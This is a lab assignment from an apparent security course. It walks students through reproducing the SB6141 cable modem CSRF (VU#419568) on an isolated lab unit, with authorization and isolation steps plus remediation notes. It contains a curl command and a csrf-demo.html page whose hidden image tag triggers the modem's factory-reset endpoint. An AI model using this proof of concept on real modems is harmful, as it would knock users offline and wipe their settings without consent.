Classroom Glossary Public page

Lab 2: Manual CSRF Reproduction

1,265 words

~3 hr. Reproduce the SB6141 CSRF (VU#419568) manually. Capture the request shape in Burp Suite; replay with curl; produce a transcript a peer researcher could follow.

Goal: ship a transcript demonstrating the CSRF on a lab SB6141. The transcript pairs the curl reproduction with a Burp Suite Proxy history export showing the same request.

Estimated time: ~3 hr (1 hr Burp setup; 1.5 hr reproduction + transcript; 30 min commit and reflection).

Prerequisites: Week 2 lecture (HTTP, CSRF mechanics, Burp Suite tour). Lab 1 complete. Hardware Checkout SB6141 received OR self-purchased unit received. Isolated lab network setup (a preview of Lab 3; the formal network-documentation lab is next week, but you need a working isolated network this week).

Authorization line: Write this in your lab notebook before any HTTP traffic:

Lab 2 session, 2026-MM-DD HH:MM. Target SB6141 unit <serial>; scope per signed cohort
authorization (filed 2026-MM-DD); reproduction of VU#419568 CSRF; no testing outside
the documented lab network.

The line is non-optional. Lab 2 is the first hardware-touching lab.

Setup

mkdir -p ~/adv-101/lab-2
cd ~/adv-101/lab-2

Confirm:

  • SB6141 is powered on; LEDs settled
  • Laptop has a static IP in 192.168.100.0/24 (e.g., 192.168.100.2)
  • ping 192.168.100.1 succeeds; ping 8.8.8.8 FAILS (isolation verified)
  • Burp Suite is running with Proxy listener on 127.0.0.1:8080
  • A browser is configured to proxy through Burp

Part A: Discover the destructive endpoint(s) (~30 min)

Open the SB6141 administrative interface in the Burp-proxied browser:

http://192.168.100.1/

Burp's HTTP history fills with the page-load requests. Browse the administrative interface; click through to any "Reboot" or "Restore Factory Defaults" or "Restart" button (do NOT click yet; just navigate to the page).

Identify (in the admin interface) the URL or form action for the destructive action. Hover over the button; check the underlying form. Note the URL.

In your lab notebook, record:

Destructive endpoint discovered: <URL>
Method (from form attribute): <GET or POST>
Form fields (if any): <list>

The Longenecker advisory hints at multiple endpoints. The most-commonly cited is /goform/RgFactoryDefault for factory reset; firmware-version variation may produce different paths. Your job is to find what exists on YOUR unit.

Part B: Capture the request shape via Burp (~30 min)

Click the destructive button ONCE (factory reset; the modem reboots and restores defaults; you will need to wait ~60 seconds for it to come back, then reconfigure your laptop's static IP if needed).

While clicking: Burp's HTTP history records the exact request. Find it in the history:

  • Filter the history by URL contains goform or whatever path you identified
  • Right-click the request -> Send to Repeater

In Burp Repeater, you see the full request. Copy it. Paste it into lab-2-reproduction.md:

## Captured request (from Burp Repeater)

GET /goform/RgFactoryDefault HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (...) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.100.1/admin.html Connection: close

(Substitute your actual captured request.)

Also export the relevant Burp HTTP history entry:

  • Right-click the history row -> Save item -> save as lab-2-burp-history.xml

Part C: Reproduce with curl (~45 min)

After the modem comes back from its first reboot, reproduce the action via curl:

curl -v "http://192.168.100.1/goform/RgFactoryDefault"

The -v flag shows the full request and response. Capture the output. In lab-2-reproduction.md:

## `curl` reproduction

Command:

```bash
curl -v "http://192.168.100.1/goform/RgFactoryDefault"

Verbose output (-v):

*   Trying 192.168.100.1:80...
* Connected to 192.168.100.1 (192.168.100.1) port 80 (#0)
> GET /goform/RgFactoryDefault HTTP/1.1
> Host: 192.168.100.1
> User-Agent: curl/8.0.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< (other headers)
<
(response body if any)
* Closing connection 0

Observed modem behavior: LEDs reset; administrative interface unreachable for ~60 seconds; on return, configuration defaults observed (saved Wi-Fi name reset, custom DNS reset, etc.).

(Substitute your actual output.)

---

## Part D: Confirm the CSRF cross-origin pathway (~20 min)

The `curl` reproduction proves the endpoint is exploitable from an off-modem position. To complete the CSRF demonstration, create a minimal HTML page that triggers the same request via a browser:

`csrf-demo.html`:

```html
<!DOCTYPE html>
<html>
<head><title>CSRF demo (academy lab)</title></head>
<body>
<h1>This page demonstrates the SB6141 CSRF.</h1>
<p>The image below triggers a GET request to the SB6141's factory-reset endpoint.</p>
<img src="http://192.168.100.1/goform/RgFactoryDefault" alt="csrf trigger" width="1" height="1">
</body>
</html>

Save the file in your lab directory. Open it in the same browser (the one that has direct network access to the SB6141; this is the "victim browser" in the CSRF model). Observe: the modem reboots again.

This is the CSRF demonstrated end-to-end. The HTML lives on disk (a real attacker would host it; same difference); the victim's browser sees the page and issues the request; the modem honors the request because the browser's network position satisfies the implicit "authentication."

Record this in lab-2-reproduction.md:

## CSRF demonstration

The `csrf-demo.html` page in this directory contains an embedded `<img>` tag whose `src`
points at the SB6141's destructive endpoint. When opened in a browser with network access
to the SB6141, the browser issues the GET request to load the image; the modem honors the
request and reboots; the browser receives a non-image response (presumably HTML) which it
silently discards.

The CSRF mechanic works because the modem authenticates by network position only.
A CSRF token, SameSite=strict cookies, or a POST-only destructive endpoint with origin
validation would each prevent this.

Part E: Write the reproduction summary (~15 min)

Add a closing section to lab-2-reproduction.md:

## Reproduction summary

**Target:** Motorola SURFboard SB6141 (unit serial <X>), firmware version <Y>

**CVE / advisory:** CERT/CC VU#419568 (Longenecker 2015)

**Authorization basis:** signed cohort cyber-use authorization filed 2026-MM-DD; per-session
authorization line in lab notebook for this session

**Reproduction status:** confirmed. Three methods exercised:
1. Direct browser navigation through Burp proxy (Part B): destructive action triggered
2. `curl -v` invocation (Part C): destructive action triggered
3. `csrf-demo.html` cross-origin GET via embedded image (Part D): destructive action triggered

**Evidence:** Burp HTTP history export at `lab-2-burp-history.xml`; `curl -v` transcript
above; HTML proof-of-concept at `csrf-demo.html`; modem-behavior observations above.

**Remediation (vendor-side, hypothetical for an end-of-life device):**
1. Add a CSRF token to all state-changing endpoints; validate the token server-side
2. Change destructive endpoints from GET to POST; validate `Origin:` header server-side
3. Add SameSite=strict to any session cookies (does not apply directly to the SB6141 since
   the device has no session cookies; would apply to a fix that introduces them)

**Mitigation (operator-side, available today):**
1. Restrict the SB6141 administrative-interface access to a trusted device (e.g., a single
   admin workstation, by ACL on the upstream switch)
2. Replace the SB6141 with a current-generation device whose admin interface uses session
   cookies + CSRF tokens

**What this reproduction does NOT demonstrate:** post-exploitation; persistence; chaining
with any other vulnerability. The demonstration stops at "the destructive endpoint is
reachable cross-origin without authentication."

This section is template material you will reuse in Week 9's CVD draft and the capstone report.

Part F: Commit your work (~15 min)

cd ~/adv-101/lab-2
git add lab-2-reproduction.md lab-2-burp-history.xml csrf-demo.html
git commit -m "Lab 2: manual CSRF reproduction of VU#419568 on lab SB6141 (burp + curl + HTML PoC)"

Expected output / artifact

~/adv-101/lab-2/lab-2-reproduction.md containing:

  • Authorization line (notebook excerpt)
  • Captured request (from Burp Repeater)
  • curl -v reproduction with full verbose output
  • Cross-origin CSRF demonstration via csrf-demo.html
  • Reproduction summary (target, authorization basis, evidence inventory, remediation, mitigation, negative-scope)

Plus the Burp HTTP history export at lab-2-burp-history.xml and the PoC HTML at csrf-demo.html.

All committed to your ~/adv-101/ Git repository.

What's the failure mode?

This lab's likely failure modes:

  1. Network isolation not verified. If ping 8.8.8.8 succeeds during the lab, your lab is not isolated; your tool traffic could reach the public Internet. Stop the lab; fix the isolation; resume.
  2. Working against a non-SB6141 by accident. Some cable modems share the 192.168.100.1 admin IP; only the SB6141 has VU#419568. Check http://192.168.100.1/ in the browser; the page title and visible product identifier should match SB6141. If it does not, you have the wrong device; stop.
  3. Skipping the authorization line. The discipline starts here. A lab without the authorization line is a lab outside scope per the academy's discipline; the lab is not scored.
  4. Burp Suite proxy not actually capturing. If the browser's HTTP history in Burp is empty, the browser is not actually proxying through Burp. Check your browser's proxy settings; check Burp's listener is on the expected port; restart both.
  5. Cross-origin PoC not loading the image due to caching. Browsers cache image-load failures. If your csrf-demo.html does not trigger the reset on second load, clear the browser cache or use Cmd-Shift-R (force reload).

Common pitfalls

  • Treating the destructive action as routine. The modem factory-reset takes ~60 seconds and disconnects your isolated network during it. Have your laptop's static IP setup ready to re-apply after the reset.
  • Forgetting to capture the response. The CSRF triggers the action; the response is often empty or a redirect. Capture it anyway; the response shape is part of the reproduction evidence.
  • Cross-firmware variation. Different SB6141 firmware versions use different goform paths. The advisory lists several; your specific unit may use a path the advisory does not name explicitly. Discover, do not assume.
  • Confusing the CSRF with XSS or session-hijacking. CSRF causes the victim's browser to issue a request the victim did not intend. XSS causes attacker-controlled JavaScript to execute in the victim's browser. Session hijacking steals the victim's session credentials. The SB6141 case is CSRF, not the other two; be precise.

What would a reviewer ask?

  1. "Show me your curl invocation. Why did you use GET, not POST?"
  2. "Your csrf-demo.html uses an <img> tag to trigger the request. Why an <img> rather than a <form>?"
  3. "If the SB6141 vendor added a CSRF token tomorrow, what would your tool need to change?"

Stretch (optional)

  1. POST-form CSRF variant. Build a second csrf-demo-post.html that uses an auto-submitting <form> with method=POST. Trigger a POST-based SB6141 destructive endpoint (if one exists on your firmware version). Compare the Burp capture to the GET variant.
  2. Multiple destructive endpoints. The Longenecker advisory lists more than one. Enumerate them on YOUR firmware version (browse the admin interface; check view-source: on any administration page; look for <form action=...> URLs). Reproduce each one. Add to your lab-2-reproduction.md.
  3. Burp Repeater for parameter fuzzing. Send the captured request to Burp Repeater; modify parameters or headers; observe the modem's response variation. The exercise builds intuition for Week 4's fingerprint-only Tool v0.1.
  4. Cable Haunt context. Read the Cable Haunt (CVE-2019-19494) write-up at https://volpefirm.com/cable-haunt-exploiting-docsis-modems/. Cable Haunt is structurally different (buffer overflow + WebSocket + CORS bypass); compare with the SB6141 CSRF. Write a 200-word comparison; what makes one "easy" and the other "hard"?

Lab 2 v0.1.